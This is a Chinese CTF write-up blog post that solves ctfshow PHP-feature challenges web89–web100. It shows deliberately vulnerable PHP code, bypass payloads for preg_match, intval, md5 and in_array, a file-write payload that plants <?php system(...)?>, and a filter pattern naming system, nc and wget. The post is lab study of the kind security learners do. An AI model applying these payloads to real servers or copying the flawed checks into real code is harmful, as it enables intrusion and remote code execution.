web入门-php特性

最新推荐文章于 2024-07-12 11:47:12 发布
最新推荐文章于 2024-07-12 11:47:12 发布
阅读量745 收藏 1
点赞数 1
分类专栏： 刷题记
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/wo41ge/article/details/110251365
版权
本文探讨了PHP中的弱比较和强比较，并通过一系列例子讲解了如何利用这些特性进行Web安全绕过，包括preg_match的数组绕过、intval的进制转换绕过、空格和小数点的利用、三元运算符和in_array()漏洞等。此外，还提到了运算符优先级和反射类在Web安全中的作用。
摘要由CSDN通过智能技术生成

===比较类型和值，是强比较

==只比较值，是弱比较

目录

web89-数组绕过preg_match

<?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

知识点：preg_match — 执行匹配正则表达式

具体，看这里

当匹配数组返回false 进行绕过

payload

?num[]=1

web90-intval函数

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

知识点：

intval — 获取变量的整数值

通过使用指定的进制 base 转换（默认是十进制），返回变量 var 的 integer 数值。 intval() 不能用于 object，否则会产生 E_NOTICE 错误并返回 1。

具体，看这里

payload

?num=4476a

web92-intval八进制,十六进制,科学计数法绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

同样考点是intval ，但这道题不同于web90,而是弱比较

用到进制转换

在这里插入图片描述

进制转换工具 看这里

这里用到十六进制0x117c

八进制010574

也可以科学计数法4476e2

(因为在第一个if会计数比较，在intval函数中会被看做字符串)

web93-intval八进制绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

过滤了字母，但我们可以使用八进制010574

web94-空格，小数点绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

知识点:

strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

注释：strpos() 函数对大小写敏感。

注释：该函数是二进制安全的。

strpos函数限制了传参第一位不能为0

仔细观察这里是强等于

我们可以在八进制前加一个空格

?num=  010574

或者用小数点

?num=4476.0

web95-空格加八进制绕intval

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

增加过滤了.

构造空格+八进制

?num= 010574

也可以

?num=+010574
?num=%2b010574

web96-绝对路径相对路径

<?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

可以看到不能直接等于flag.php,

但是我们可以构造路径让它显示

?u=/var/www/html/flag.php
?u=./flag.php

web97-md5数组绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这里是===

==的话可以百度有好多md5加密后是0e开头的，弱比较 0=0

强比较

如果传入md5 函数的不是字符串而是数组，那么就会返回null, null=null绕过。

payload
a[]=1&b[]=2

还可以是md5强碰撞

具体可以看这里

还有这里

web98-三元运算地址引用

Notice: Undefined index: flag in /var/www/html/index.php on line 15

Notice: Undefined index: flag in /var/www/html/index.php on line 16

Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php
    
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>


php三元运算符代码格式如下：
(expr1) ? (expr2) : (expr3);

解释起来也很简单

如果条件expr1成立，则执行语句expr2，否则执行expr3

同时 php三元运算符也可以嵌套使用 但是 可读性 就不太行了

但是 胜在简捷

应该注意的是：

在使用三元运算符时，建议使用print语句替代echo语句

三元符运算和传址(引用)

$_GET?$_GET=&$_POST:'flag';

//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)

那么看最后要求$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__那么我们就可以直接随意get传参一个，然后post传参HTTP_FLAG=flag 即可获得flag.

在这里插入图片描述

<?php
include('flag.php');
if($_GET){
	$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
	"flag";
} 
if($_GET['flag']=='flag'){
	$_GET=&$_COOKIE;
}else{
	'flag';
} 
if($_GET['flag']=='flag'){
	$_GET=&$_SERVER;
}else{
'flag';
} 
if($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flag
	highlight_file($flag);
}else{
	highlight_file(__FILE__);
}
所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用，因为我们不提交 flag 参数

具体可以看这里

还有这里

web99-in_array()漏洞

<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

in_array()函数
定义和用法
in_array() 函数搜索数组中是否存在指定的值。
注释：如果 search 参数是字符串且 type 参数被设置为 TRUE，则搜索区分大小写。

在这里插入图片描述
具体可以看这里

当没有设置第三个函数时，比较是会自动转换数据类型，也就是==

/?n=1.php  
# post
content=<?php system('cat flag36d.php');?>

web100-运算符优先级,反射类

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

php = 的运算符比 and 高

每天都要努力哇
关注
专栏目录
ctfshow web入门 PHP特性后篇(web133-web150)
ccfly1012的博客
09-13 1898
目录 web133 web134 web135 web136 web137 web138 web139 web140 web141 web142 wen143 web144 web145-web150 web133 error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|net
ctfshow web入门 PHP特性中篇(web105-web132)
ccfly1012的博客
09-11 1395
目录 web105 web106 web107 web108 web109 web110 web111 web112 web113 web114 web115 web123 web125 web126 web127 web128 web129 web130 web131 web132 web105 <?php ​ /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 1
php中的$_GET和$_POST
weixin_54957314的博客
04-18 826
在PHP中，$_GET数组获取使用GET方式提交的表单数据 语法：变量名=$_GET["name"]; //name指表单元素name属性值 $_GET[]与$_POST[]的区别： GET方式会将表单中的数据以URL字符串的形式发送给服务器 将test.php以GET方式提交，浏览器地址栏会显示 http://localhost/test.php?key1=value1&key2=value2 以"?"开头的字符串称为URL字符串，则$_GET["key1"]=value1、$_GET["ke
ctf.show WEB入门-php特性系列
~airrudder~
09-21 2033
WEB入门 web89 <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } 由于intval(array(.
ctfshow-web入门-php特性（web89-web95）intval 函数绕过
最新发布
Welcome To Myon'Blog !
07-12 854
如果第一次匹配成功，再次使用正则表达式匹配 $a 是否等于字符串“php”，但这次只有不区分大小写，是单行模式，不会匹配多行，如果第二次没有匹配成功就会输出 flag。也就是说，如果 num 中不包含数字 "0" 就会终止程序，但是还有一种情况，如果这个 0 出现在开头，虽然是找到了有 0 这个字符，但是返回位置为 0 ，if (!== 是相等运算符，在进行比较时，会先将字符串类型转化成相同，再比较，比如比较一个数字和字符串或者比较涉及到数字内容的字符串，字符串会被转换成数值并按照数值来进行比较。
ctfshowPHP特性
遇事不决冲冲冲
08-23 4467
web89 <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } 数组绕过正则表达式，也就是说我们不按规定去
ctfshow php特性
m0_63253040的博客
08-01 330
有个正则匹配0-9数字，，输出flag的条件是要变量num为整数，直接用数组绕过就行了。
ctfshow web入门 php特性
Sentiment的博客
04-11 5408
web89 intval() 函数用于获取变量的整数值,可preg_match过滤了数字,这里可以用数组绕过,因为preg_match无法处理数组 <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if
Web安全入门-task2(upload-labs1-10)
10-21
Web安全入门-task2(upload-labs1-10) 本资源主要讲解了Web安全入门的基础知识，通过Upload Labs的1-10实验，涵盖了Web安全中的多个方面。 一、文件上传限制绕过 * 白名单检测：使用substring()函数裁剪字符串，...
ctfshow web入门 PHP特性前篇(web89-web104)
ccfly1012的博客
09-08 1269
目录 web89 web90 web91 web92 web93 web94 web95 web90，92-95总结 web96 web97 拓展 web98 web99 web100 web101 web102 web103 web104 web89 <?php ​ /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by:
Web开发入门经典：使用PHP6、Apache和MySQL【PDF】
12-19
本书以逐步深入的方式介绍了3种重要的开源...在这个过程中，您可以切身体会到PHP、MySQL和Apache的联合应用之所以如此流行的原因：完美的交互性、灵活性、用户化特性、成本以及能够在Linux和Windows系统上运行的能力。
[CTFSHOW]PHP特性
Huamang的博客
03-19 1773
web 89 include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } 利用数组绕过：/?num[]=0 web 90 include
【PHP代码审计】ctfshow web入门 php特性 93-104
m0_63563528的博客
08-01 711
假设 “1.php” 是在 $allow 数组中，则会将 <?当访问 “1.php” 时，恶意代码 system(“tac flag36d.php”) 将会被执行，显示名为 “flag36d.php” 的文件内容的逆向（从最后一行到第一行）。正则表达式的含义是任意字符，后面跟着"p"，后面跟着任意字符，后面跟着"h"，后面再跟着任意字符，最后跟着"p"，而。
CTFSHOW WEB89-100 PHP特性 详解
qq_49399033的博客
06-14 7414
CTFSHOW PHP特性做题笔记 详细学习
ctfshow—PHP特性
cosmoslin的博客
09-14 2300
PHP特性 以ctfshow平台题目为例 web89 intval() 函数用于获取变量的整数值。 intval() 函数通过使用指定的进制 base 转换（默认是十进制），返回变量 var 的 integer 数值。 intval() 不能用于 object，否则会产生 E_NOTICE 错误并返回 1。 web 90 int intval ( mixed $var [, int $base = 10 ] ) 如果 base 是 0，通过检测 var 的格式来决定使用的进制： 如果字符串包括了 “0x
[基础补漏]CTFshow php特性篇(待续)
lllffg的博客
03-29 758
web89 考点：数组绕过正则表达式 include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } 直接数组绕过 <?php $nu
ctf中的web的PHP问题,Ctfshow Web入门 - PHP特性（89-102）
weixin_28909295的博客
04-01 1075
Web89include("flag.php");highlight_file(__FILE__);if(isset($_GET[‘num‘])){$num = $_GET[‘num‘];if(preg_match("/[0-9]/", $num)){die("no no no!");}if(intval($num)){echo $flag;}}num数组绕过?num[]=0Web90includ...
CTFshow——web入门——php特性(下篇)
h_adam的博客
02-06 6129
web入门——php特性web123web125web126 web123 题目 <?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))
php代码审计题目总结
qq_45927819的博客
12-14 1726
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page))//判断.
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值